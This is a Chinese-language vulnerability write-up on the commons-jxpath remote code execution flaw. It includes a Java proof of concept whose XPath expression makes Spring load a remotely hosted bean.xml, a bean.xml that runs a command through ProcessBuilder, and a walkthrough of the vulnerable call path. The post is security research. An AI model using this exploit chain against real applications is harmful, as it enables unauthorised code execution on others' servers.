漏洞简介
commons-jxpath 是一个java库,是Xpath基于java语言的一种实现。使用 JXPath 来解释不受信任的 XPath 表达式的人可能容易受到远程代码执行攻击。所有处理 XPath 字符串的 JXPathContext 类函数都容易受到攻击,除了 compile() 和 compilePath() 函数。攻击者可以使用 XPath 表达式从类路径加载任何 Java 类,从而导致代码执行。
我们看到 Tweet 上面有一些关于漏洞复现的图片
根据这些图片我们进行简单的复现和分析
漏洞复现
我们在 maven 仓库中查找 jxpath
https://mvnrepository.com/search?q=jxpath
把依赖复制出来,添加到项目的 pom.xml 文件中
<!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>
添加完成后刷新一下 maven 依赖
我们编写代码
import org.apache.commons.jxpath.JXPathContext;
public class JXpathDemo {
public static void main(String[] args) {
try{
JXPathContext context = JXPathContext.newContext(null);
String key = (String) context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
System.out.println(key);
}catch (Exception exception){
exception.printStackTrace();
}
}
}
我们先并不去创建 bean.xml 文件 如果确实运行成功的话,我们会在 8080 端口接收到请求
但是我们运行项目之后出现了错误
我们看到提示的错误是 无法调用函数,通过不断的加断点调试分析,发现是在本地没有相关依赖,所以我们在 pom 文件中添加
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
刷新 maven 再次运行项目 端口接收到了请求
写一个 bean.xml 文件
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
漏洞触发成功
漏洞分析
先将调试后的大致流程图画出
org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue
漏洞比较关键的就是在此处,利用 context.getRootContext().getFunction(functionName, parameters);
去获取 function 之后再根据 function 去调用 invoke 方法
org.apache.commons.jxpath.PackageFunctions#getFunction
会先判断类名是否存在,然后再根据方法是构造函数还是静态方法 返回
- org.apache.commons.jxpath.functions.ConstructorFunction
- org.apache.commons.jxpath.functions.MethodFunction
然后再去调用对应的 invoke
org.apache.commons.jxpath.functions.ConstructorFunction#invoke
这个地方利用的就是构造函数
利用 spring 中的两个类构造函数加载远程配置实现 RCE
- org.springframework.context.support.ClassPathXmlApplicationContext
- org.springframework.context.support.FileSystemXmlApplicationContext
也就是说如此构造就等同于
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
public static void main(String[] args) {
String s = "http://127.0.0.1:8080/bean.xml";
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
}
}
我们再看一下静态方法对应的 invoke
org.apache.commons.jxpath.functions.MethodFunction#invoke
最后是调用反射去执行方法,对于静态方法可以利用 JDBC 链 等进行利用
总结反思
漏洞主要是因为处理 XPath 字符串的 JXPathContext类函数,JXPath支持开箱即用的标准XPath函数。它还支持“标准”扩展函数,这基本上是到Java的桥梁,以及完全自定义的扩展函数。使用标准扩展函数,可以调用对象上的方法、类上的静态方法,并使用任何构造函数创建对象。所有类名都应该是完全限定的。
通过它本身的特性可以调用任意方法来说,就可以知道漏洞产生的原因了,分析构造满足条件的XPath 就实现了漏洞的利用